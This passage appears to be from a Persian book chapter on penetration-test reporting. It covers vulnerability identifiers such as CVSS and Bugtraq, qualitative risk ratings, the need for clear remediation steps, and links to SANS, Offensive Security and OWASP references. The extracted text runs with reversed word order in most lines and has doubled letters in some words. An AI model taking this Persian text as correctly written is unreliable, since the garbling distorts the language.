o مشترک پذیری آسیب امتیازدهی سیستم Common Vulnerability Scoring System 

(CVSS) . 
o شناسه  Bugtraq(BID)  
o باز منبع پذیری آسیب داده پایگاه Open Source Vulnerability Database (OSVDB)  
 ریسک بندی رتبه و گیری نتیجه چهارم Conclusions & Risk Rating 

 ریسدک  بنددی  رتبده  دهیدد،  ارائه آن ریسک میزان و کردید یداپ آنچه مورد در کلی توضیحات
 ومدی  باشدد،  مطلدق  ریاضی مقیاس یک که نیست نیازی باشد، مفید مشتری برای تواند می شبکه
 ،کدم  مانند داد گسترش را آن توان می یا باشد زیاد ،متوسط ،کم مانند توصیفی سادگی به تواند
 شدید ،زیاد ،رشد درحال ،متوسط

(low,moderate, elevated, high, extreme) . 
 اصلاح مراحل پنجم Remediation steps 
 نفوذ تست در موجود نقص رفع و رخنه و عیب یافتن چگونگی مورد در جزئیاتی بخش این در
 اجازه اعتماد مورد فنی فرد هر به تا باشد دقیق کافی اندازه به باید موارد این .است شده ارائه
 .باشد می گزارش مهم قسمت مرحله این .کند اصلاح اید کرده کشف که را مشکلاتی تا دهد
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 چگونگی مورد در روشنی راهنمایی باید .نیست کافی دارد وجود مشکلات اینکه بیان صرفاً
 .دهید ارائه مشکلات این رفع
 

 خلاصه

 که شود تأکید باید .کردید مشاهده را کوچک شبکه یک برای نفوذ تست طرح فصل این در
 که بیاید پیش سوال شما برای شاید .است نفوذ تست برای ای پایه ،شد ارائه فصل این در آنچه
 شما های تست باشید داشته توجه باید .نکردیم تست را بلوتوث مشکلات ما ،مثال عنوان به

 از یکی اینجا در شده ارائه مطالب کلی طرح ،حال این با .باشد می نمونه این از تر گسترده اغلب
 را کلی طرح این کافیست فقط .کنید استفاده نفوذ تست هر برای توانید می که است یموارد
 .دهید گسترش خود محیط در نیاز صورت در

 :کنید مراجعه نیز زیر منابع به شود می توصیه ،فصل این بر علاوه
 نفوذ تست گزارش نوشتن

https://www.sans.org/readingroom/whitepapers/testing/writing-penetration-
testing-report-33343. 

 سازمان در نفوذ تست انجام
https://www.sans.org/readingroom/whitepapers/auditing/conducting-penetration- 
test-organization-67. 

 نفوذ تست گزارش
https://www.offensive-security.com/reports/sample-penetration-testingreport.pdf. 

 :نفوذ تست یها وشر
https://www.owasp.org/index.php/Petetration_testing_methodologies. 
 

 

https://www.owasp.org/index.php/Petetration_testing_methodologies
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